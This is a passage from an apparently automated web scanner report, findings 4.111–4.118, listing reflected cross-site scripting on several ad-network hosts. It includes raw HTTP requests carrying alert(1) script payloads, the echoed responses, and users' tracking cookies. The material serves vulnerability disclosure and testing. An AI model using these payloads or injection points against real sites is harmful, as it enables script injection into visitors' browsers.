!!!#<wGkF!#qx4!!!!#<wGk*!#r:A!!!!#<waw,!#r<X!!!!#<x+I@!#rVR!!!!*<ypn@!#sAb!!!!$<y46(!#sAc!!!!$<y46(!#sC4!!!!$<y46(!#sax!!!!#<xd-C!#tLy!!!!*<ypn@!#tM)!!!!*<ypn@!#tn2!!!!*<ypn@!#uE=!!!!#<x9#K!#uJY!!!!0<ypn@!#uR3!!!!*<yq][!#ujQ!!!!*<yq][!#ust!!!!+<xt,H!#usu!!!!+<xt,H!#v,Y!!!!#<x2wq!#v,Z!!!!#<xt>i!#vyX!!!!*<ypn@!#w!v!!!!#<wsXA!#wGj!!!!#<wle$!#wGm!!!!#<wle$!#wW9!!!!+<xt,H!#wYG!!!!$=!$J$!#wnK!!!!)<xt,H!#wnM!!!!)<xt,H!#wot!!!!#<xt>i!#xI*!!!!+<xt,H!#xIF!!!!-<ypn@!#yM#!!!!+<xt,H!#yX.!!!!9<w*F[!$!8/!!!!#<xl.y!$!:x!!!!#<xr]M!$!>x!!!!*<wjBg!$!_`!!!!#<y,`,!$#3q!!!!(<x+Z1!$#B>!!!!)<yq][!$#R7!!!!*<ypn@!$#S3!!!!#<y,`,!$#WA!!!!+<xt,H!$$K<!!!!$<wleJ!$$L.!!!!#<w[Sh!$$L/!!!!#<w[Sh!$$L0!!!!#<w[Sh!$$LE!!!!#<w[_a!$$LL!!!!$<w[_f!$$R]!!!!#<xl/)!$$j2!!!!#<xKwk!$$p*!!!!#<wUv4!$%,!!!!!+<xt,H!$%,J!!!!#<x2wq!$%SB!!!!+<xt,H!$%Uy!!!!#<w>/l!$%gQ!!!!#<y,`,!$'/1!!!!#<wx=%!$'Z-!!!!*<ypn@!$(!P!!!!,<yq][!$(+N!!!!#<wGkB!$(Gt!!!!-<ypn@!$(S9!!!!*<yq][!$(Tb!!!!#<yQLc!$(V0!!!!'<ypo5!$)>0!!!!#<xqaf!$)DE!!!!#<xr]M!$)GB!!!!,<yq][!$*R!!!!!%<xr]Q!$*a0!!!!'<xt,H!$*bX!!!!#<xr]Q!$*hf!!!!*<yq]["; BX=8khj7j56qmjsh&b=4&s=dk&t=106

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:58:26 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Tue, 10 May 2011 13:58:26 GMT
Pragma: no-cache
Content-Length: 4645
Age: 0
Proxy-Connection: close

<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "iframe"; rm_url = "http://ad.yieldmanager.com/imp?Z=728x90&d210e"-alert(1)-"e1c8a4dc686=1&s=1565774&_salt=2079542946";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Array();if(
...[SNIP]...

4.111. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/st

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d911"><script>alert(1)</script>c9ecd5ab83f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /st?ad_type=iframe&ad_size=728x90&section=1565774&7d911"><script>alert(1)</script>c9ecd5ab83f=1 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&loc=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=uid=888a2c66-6932-11e0-8830-001b24783b20&_hmacv=1&_salt=4113190855&_keyid=k1&_hmac=2bd08a6ff17f1fdebe5379daa4d53c1f64bef7b8; pv1="b!!!!$!#3yC!,Y+@!$Xwq!1`)_!%bq`!!!!$!?5%!$U=A2!w1K*!%4fo!$k7.!'pCX~~~~~<wYiT=#mS_~!#M*E!!!(#!$u#*!0242!%=e2!!!%%!?5%!%5F4/!wVd.!'iA7!'D#r!'AvZ~~~~~<ypnV=!oTp~"; ih="b!!!!A!)Tt+!!!!#<wYoD!)`Tm!!!!#<vmX7!)`Tq!!!!#<vmX5!)`U6!!!!#<vmX0!*loT!!!!#<vl)_!,+Z*!!!!$<xl/w!/Iw4!!!!#<wF]1!/U5t!!!!#<xu,P!/YG?!!!!#<xt+b!/_KY!!!!#<vl)T!/h[p!!!!#<vl)[!/iq6!!!!$<vmX=!/iq@!!!!$<vm`!!/iqB!!!!#<vmTN!/iqH!!!!#<vmTH!024(!!!!#<ypn>!0242!!!!#<ypnV!0eUu!!!!#<y]8.!0ji6!!!!'<xqS_!0ji7!!!!%<xqRm!1EYJ!!!!#<wUv<!1M!9!!!!$<wF]9!1NgF!!!!#<xt,P!1Z!K!!!!#<xt]R!1`)_!!!!#<wYiT!1kC+!!!!%<xqSY!1kC5!!!!$<yqWP!1kC<!!!!#<xqQb!1kDI!!!!#<xqQM"; bh="b!!!%1!!!?H!!!!%<wR0_!!*oY!!!!+<yq][!!-?2!!!!1<yq][!!-G2!!!!$<w[UB!!-O3!!!!%<yq][!!-yu!!!!.<vm`$!!.+B!!!!.<vm`%!!.tS!!!!,<yq][!!0O4!!!!*<ypn@!!0O<!!!!1<ypn@!!0P,!!!!#<x4hf!!1Mv!!!!$<y45e!!2(j!!!!/<whqI!!4Qs!!!!%<wle3!!=cS!!!!'<yV[r!!?VS!!B1c<xl.o!!J<=!!!!0<ypn@!!J<E!!!!0<ypn@!!J>I!!!!#<x)TA!!L(^!!!!$<xD>X!!LHY!!!!.<whoV!!L[f!!!!#<wYl+!!ONX!!!!#<wle$!!ObA!!!!,<yq][!!PL`!!!!$<y461!!RZ(!!!!)<xt,H!!VQ(!!!!#<wYkr!!Zwb!!!!*<yq][!!`4u!!!!%<y66/!!dNP!!!!%<x+rS!!g5o!!!!'<wsq+!!iV_!!!!%<wsq-!!i[%!!!!#<x4hf!!ita!!!!1<ypn@!!q:E!!!!.<ypn@!!q<+!!!!/<ypn@!!q</!!!!/<ypn@!!q<3!!!!/<ypn@!!r^4!!!!(<x+rV!!r^5!!!!#<x*ig!!tP)~~!!tjQ!!!!,<yq][!!ucq!!!!1<ypn@!!vRm!!!!*<ypn@!!vRq!!!!*<ypn@!!vRr!!!!*<ypn@!!vRw!!!!1<ypn@!!vRx!!!!*<ypn@!!vRy!!!!*<ypn@!!w3l!!!!,<yq][!!wQ3!!!!,<yq][!!wQ5!!!!,<yq][!!wcu!!!!#<xCAG!!wq:!!!!#<xCAF!!xX$!!!!#<x(sS!!xX+!!!!#<x(rt!!y!r!!!!*<ypn@!##^t!!!!#<wYoF!#'uj!!!!#<wsgD!#*Xb!!!!#<yMiw!#*Xc!!!!#<xE(*!#+<r!!!!#<wO:5!#+di!!!!#<xYi<!#+dj!!!!#<xYi<!#+dk!!!!#<xYi<!#-B#!!!!#<wsXA!#-H0!!!!#<wleD!#.dO!!!!+<xt,H!#1*C!!!!*<yq][!#27)!!!!+<x+rW!#2RS!!!!#<x9#3!#2XY!!!!*<ypnB!#2YX!!!!#<vl)_!#3<E!!!!$<yr$1!#3>J!!!!#<x(U)!#3g6!!!!#<w>/l!#3pS!!!!#<x31-!#3pv!!!!#<wsXA!#44f!!!!*<ypn@!#48w!!2s=<xrZD!#4`K!!!!#<x2wq!#5(U!!!!#<x,:<!#5(^!!!!#<x31-!#5(a!!!!#<x3.t!#5[N!!!!#<vl)_!#5kt!!!!#<x)TA!#5nZ!!!!*<ypn@!#7.'!!!!*<ypn@!#7.:!!!!*<ypn@!#7.O!!!!*<ypn@!#8>*!!!!#<x2wq!#8Mo!!!!#<wle%!#8tG!!!!#<wsq,!#=-g!!!!#<xi5p!#KjQ!!B1c<xl.o!#Km/!!!!#<xl/o!#L]q!!!!#<w>/s!#MHv!!!!$<w>/n!#MTC!!!!*<ypn@!#MTF!!!!*<ypn@!#MTH!!!!*<ypn@!#MTI!!!!*<ypn@!#MTJ!!!!*<ypn@!#MTK!!!!#<w>/m!#M]c!!!!)<xt,H!#Mr7!!!!#<w>/l!#N45!!!!#<xr]M!#O29!!!!*<yq][!#O>d!!C`.<xrYg!#SCj!!!!+<xt,H!#SCk!!!!+<xt,H!#SEm!!!!0<ypn@!#SF3!!!!0<ypn@!#T,d!!!!#<wsXA!#T8R!!!!#<x+I0!#TnE!!!!*<ypn@!#UDP!!!!0<ypn@!#UZs!!!!#<yjEy!#U_(!!!!*<wleI!#V7#!!!!#<x,:<!#V8a!!!!#<xq_s!#VEP!!!!#<wleE!#VO3!!!!#<xq_q!#Wb^!!C`.<xrYg!#X8Y!!!!#<xr]M!#XI8!!!!#<xL%*!#YCg!!!!#<x2wq!#Z8A!!!!*<yq][!#ZPp!!!!#<y,`,!#[L>!!!!%<w[UA!#]%`!!!!$<xtBW!#]9R!!!!#<yq[g!#]@s!!!!%<whqH!#]Z!!!!!*<yq][!#^@9!!!!#<x2wq!#^bt!!!!%<xr]Q!#^d6!!!!$<xtBW!#`-7!!!!*<yq][!#`S2!!!!,<yq][!#`U0!!!!+<yq][!#`U9!!!!*<yq][!#a'?!!!!#<w>/m!#a4,!!!!#<y,`,!#a=6!!!!+<yq][!#a=7!!!!+<yq][!#a=9!!!!+<yq][!#a=P!!!!+<yq][!#aCq!!!!(<w[U@!#aG>!!!!+<xt,H!#ah!!!!!*<ypn@!#ai7!!!!*<ypn@!#ai?!!!!*<ypn@!#b:Z!!!!#<x2wq!#b<_!!!!#<x3.t!#b<`!!!!#<x,:<!#b<a!!!!#<x,:<!#b='!!!!#<x3.t!#b=*!!!!#<x,:<!#b=E!!!!#<x31-!#b=F!!!!#<x3.t!#b@%!!!!#<wsXA!#bGi!!!!#<xr]M!#c-u!!!!-<w*F]!#c8V!!!!*<yq][!#c8W!!!!*<yq][!#c8X!!!!*<yq][!#c8]!!!!*<yq][!#c?c!!!!*<ypn@!#ddE!!!!#<xYi>!#e(g!!!!#<xE(*!#e3[!!!!$<yq][!#e9?!!!!#<y,`,!#e@T!!!!#<ypn:!#eLS!!!!#<yjEE!#ePa!!!!#<xr]M!#eaO!!!!+<xt,H!#ec)!!!!%<x+rF!#fG)!!!!*<yq][!#fG+!!!!+<yq][!#g=!!!!!*<yq][!#g]5!!!!)<xdAS!#gig!!!!#<xt+`!#h.N!!!!#<yMiw!#j9y!!!!#<yq^W!#l)E!!!!#<y,`,!#mP5!!!!$<w[UB!#mP6!!!!$<w[UB!#ne_!!!!*<yq][!#ni8!!!!#<x*cS!#p6E!!!!%<wleK!#p6Z!!!!#<wle8!#p7'!!!!#<yMiw!#p]R!!!!#<wsXA!#p]T!!!!#<wsXA!#q),!!!!#<wO:5!#q2T!!!!.<whoV!#q2U!!!!.<whoV!#q9]!!!!#<waw+!#qx3!!!!#<wGkF!#qx4!!!!#<wGk*!#r:A!!!!#<waw,!#r<X!!!!#<x+I@!#rVR!!!!*<ypn@!#sAb!!!!$<y46(!#sAc!!!!$<y46(!#sC4!!!!$<y46(!#sax!!!!#<xd-C!#tLy!!!!*<ypn@!#tM)!!!!*<ypn@!#tn2!!!!*<ypn@!#uE=!!!!#<x9#K!#uJY!!!!0<ypn@!#uR3!!!!*<yq][!#ujQ!!!!*<yq][!#ust!!!!+<xt,H!#usu!!!!+<xt,H!#v,Y!!!!#<x2wq!#v,Z!!!!#<xt>i!#vyX!!!!*<ypn@!#w!v!!!!#<wsXA!#wGj!!!!#<wle$!#wGm!!!!#<wle$!#wW9!!!!+<xt,H!#wYG!!!!$=!$J$!#wnK!!!!)<xt,H!#wnM!!!!)<xt,H!#wot!!!!#<xt>i!#xI*!!!!+<xt,H!#xIF!!!!-<ypn@!#yM#!!!!+<xt,H!#yX.!!!!9<w*F[!$!8/!!!!#<xl.y!$!:x!!!!#<xr]M!$!>x!!!!*<wjBg!$!_`!!!!#<y,`,!$#3q!!!!(<x+Z1!$#B>!!!!)<yq][!$#R7!!!!*<ypn@!$#S3!!!!#<y,`,!$#WA!!!!+<xt,H!$$K<!!!!$<wleJ!$$L.!!!!#<w[Sh!$$L/!!!!#<w[Sh!$$L0!!!!#<w[Sh!$$LE!!!!#<w[_a!$$LL!!!!$<w[_f!$$R]!!!!#<xl/)!$$j2!!!!#<xKwk!$$p*!!!!#<wUv4!$%,!!!!!+<xt,H!$%,J!!!!#<x2wq!$%SB!!!!+<xt,H!$%Uy!!!!#<w>/l!$%gQ!!!!#<y,`,!$'/1!!!!#<wx=%!$'Z-!!!!*<ypn@!$(!P!!!!,<yq][!$(+N!!!!#<wGkB!$(Gt!!!!-<ypn@!$(S9!!!!*<yq][!$(Tb!!!!#<yQLc!$(V0!!!!'<ypo5!$)>0!!!!#<xqaf!$)DE!!!!#<xr]M!$)GB!!!!,<yq][!$*R!!!!!%<xr]Q!$*a0!!!!'<xt,H!$*bX!!!!#<xr]Q!$*hf!!!!*<yq]["; BX=8khj7j56qmjsh&b=4&s=dk&t=106

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:58:25 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Tue, 10 May 2011 13:58:25 GMT
Pragma: no-cache
Content-Length: 4690
Age: 0
Proxy-Connection: close

<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=
...[SNIP]...
<a href="http://ad.yieldmanager.com/imageclick?7d911"><script>alert(1)</script>c9ecd5ab83f=1&Z=728x90&s=1565774&t=2" target="_parent">
...[SNIP]...

4.112. http://admeld-match.dotomi.com/admeld/match [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld-match.dotomi.com
Path:	/admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d6d4'%3balert(1)//ee63ab8efb1 was submitted in the admeld_adprovider_id parameter. This input was echoed as 2d6d4';alert(1)//ee63ab8efb1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=782d6d4'%3balert(1)//ee63ab8efb1&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld-match.dotomi.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:19 GMT
X-Name: rtb-o08
Cache-Control: max-age=0, no-store
Content-Type: text/javascript
Connection: close
Content-Length: 160

document.write('<img src="http://tag.admeld.com/match?admeld_adprovider_id=782d6d4';alert(1)//ee63ab8efb1&external_user_id=0&expiration=1305293119" alt="" />');

4.113. http://admeld-match.dotomi.com/admeld/match [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld-match.dotomi.com
Path:	/admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd493'%3balert(1)//df53752775b was submitted in the admeld_callback parameter. This input was echoed as fd493';alert(1)//df53752775b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=78&admeld_call_type=js&admeld_callback=http://tag.admeld.com/matchfd493'%3balert(1)//df53752775b HTTP/1.1
Host: admeld-match.dotomi.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:22 GMT
X-Name: rtb-o08
Cache-Control: max-age=0, no-store
Content-Type: text/javascript
Connection: close
Content-Length: 160

document.write('<img src="http://tag.admeld.com/matchfd493';alert(1)//df53752775b?admeld_adprovider_id=78&external_user_id=0&expiration=1305293122" alt="" />');

4.114. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld.lucidmedia.com
Path:	/clicksense/admeld/match

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d15e7'%3balert(1)//42ce93d37d was submitted in the admeld_adprovider_id parameter. This input was echoed as d15e7';alert(1)//42ce93d37d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73d15e7'%3balert(1)//42ce93d37d&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY; 2=2xpe64Z76BY; 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Tue, 10 May 2011 13:25:04 GMT
Expires: Tue, 10 May 2011 13:25:04 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:04 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:04 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:04 GMT
Content-Type: text/plain
Content-Length: 191
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73d15e7';alert(1)//42ce93d37d&external_user_id=3419824627245671268"/>');

4.115. http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://admeld.lucidmedia.com
Path:	/clicksense/admeld/match

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ee46'%3balert(1)//3fb73008f44 was submitted in the admeld_callback parameter. This input was echoed as 2ee46';alert(1)//3fb73008f44 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match2ee46'%3balert(1)//3fb73008f44 HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY; 2=2xpe64Z76BY; 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Tue, 10 May 2011 13:25:06 GMT
Expires: Tue, 10 May 2011 13:25:06 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:06 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:06 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Wed, 09-May-2012 13:25:06 GMT
Content-Type: text/plain
Content-Length: 192
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match2ee46';alert(1)//3fb73008f44?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

4.116. http://ads.adbrite.com/adserver/vdi/684339 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/684339

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload d5edd<script>alert(1)</script>73e02d8853a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserver/vdi/684339d5edd<script>alert(1)</script>73e02d8853a?d=uuid%3D4dab7d35-b1d2-915a-d3c0-9d57f9c66b07 HTTP/1.1
Host: ads.adbrite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; rb=0:682865:20838240:null:0:684339:20838240:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0; srh="1%3Aq64FAA%3D%3D"; geo="1%3ADchBDoIwEIXhu8xaTTspmLJVT4AeYDpDCYlYA2gihLv7Ni%2Ff%2Bzf6emo2Woc3NcTOOX%2FEsqMDLSvSrb2DVkZ4Lnl5yq%2BbToqPOgpq5T2s5QM%2FWnDqX%2BD1As5DD2ZnMZ1TSJVFjsqqIkFqs6xdzSHQvv8B"; b="%3A%3Ax6zw%2Cxews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo0CgY3MTEzODQYiP7KzRMiJGMxZTEzMDFlLTNhMWYtNGNhNy05ODcwLWY2MzZiNWYxMGU2NgocCgY3MTIxNTYY6Nv74xMiDHhyZDUyemt3anV4aAojCgY3NDI2OTcYxaeOzw4iEzI5MzExNDI5NjE2NDY2MzQ3NzUKJAoGNzUzMjkyGNCZ6o0TIhRBTS0wMDAwMDAwMDAzMDYyMDQ1Mgo2CgY3NjI3MDEQ77DQ1gwYj-zHqhYiIDk3ODk3MkRGQTA2MzAwMEQyQzBFN0EzODBCRkExREVDCiEKBjc3OTA0NRjPwZngEyIRMTc2NDcxMDgwMDYwMzQwODkKFgoGNzgyNjA2EO-w0NYMGI_sx6oWIgAKNAoGODA2MjA1GMDJhpkVIiQwYzJhZWRlNi02YmI2LTExZTAtOGZlNi0wMDI1OTAwYThmZmUKNAoGODEwNjQ3GMnBh4REIiQ1NDkxODhhMS1hMDdjLTQyMzEtYmU5NC03ZjcyNWUxYTE5ZjcKMAoGODMwNjk3GIvXg80OIiA5UVF4Y1RPNXVIMklhN0JrNHZHUzJTOTZ1Zk9Hc1NEQxAB; ut="1%3AXZFLloMgEEX3wtgBYBQ7u1ExovKRT2I0ZO8NpO3Wnt669V5xeIEHBtcXmLp1UYZacAVm4eLukRaWEI88zCKwEcyEJtAyVvUa1o8Aee%2BEx77J7DDIPFoNTGsejROMriwmXLj%2BM%2BqCi2mmdb4tgVS54YGgYvdu6uTtVJyo5R3ngTRuUZ74ssl%2FRflvnZfDWl4ipfDOj9ezOcBtZJ8n2Sl3EQgtUbr%2BIhT8c9XRNULJdKam1U9iKh%2BK85U1prVHBhXjV4p8tqEHWxMK5vUmpQ9T5La9pMNxncH%2BkFmS9pgJMtDUUnZmSD8F3u9v"; vsd=0@1@4dc93a15@letters.salon.com; fq="86xtm%2C1uo0%7Clkze39"

Response

HTTP/1.1 400 Bad Request
Accept-Ranges: none
Date: Tue, 10 May 2011 13:28:42 GMT
Server: XPEHb/1.0
Content-Length: 78

Unsupported URL: /adserver/vdi/684339d5edd<script>alert(1)</script>73e02d8853a

4.117. http://ads.adbrite.com/adserver/vdi/742697 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/742697

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload f918a<script>alert(1)</script>b477e85f110 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserver/vdi/742697f918a<script>alert(1)</script>b477e85f110?d=3658195966029417970 HTTP/1.1
Host: ads.adbrite.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://cdn.turn.com/server/ddc.htm?uid=3658195966029417970&rnd=4554351895715906254&fpid=12&nu=n&t=&sp=n&purl=
Cookie: Apache="168362123x0.728+1302188608x-1818389268"; ut="1%3Aq1YqM1KyqlbKTq0szy9KKVayUio2yMg1rzEsSDbLKa4xrDFQ0lFKSszLSy3KBEsr1dYCAA%3D%3D"; rb2=CiMKBjc0MjY5NxjCuenaDCITMzY1ODE5NTk2NjAyOTQxNzk3MBAB; rb=0:742697:20828160:3658195966029417970:0

Response

HTTP/1.1 400 Bad Request
Accept-Ranges: none
Date: Tue, 10 May 2011 14:16:59 GMT
Server: XPEHb/1.0
Content-Length: 78

Unsupported URL: /adserver/vdi/742697f918a<script>alert(1)</script>b477e85f110

4.118. http://ads.adbrite.com/adserver/vdi/762701 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/adserver/vdi/762701

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 8cdfe<script>alert(1)</script>abfc60c63d0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserver/vdi/7627018cdfe<script>alert(1)</script>abfc60c63d0?d=978972DFA063000D2C0E7A380BFA1DEC HTTP/1.1
Host: ads.adbrite.com
Proxy-Connection: keep-alive
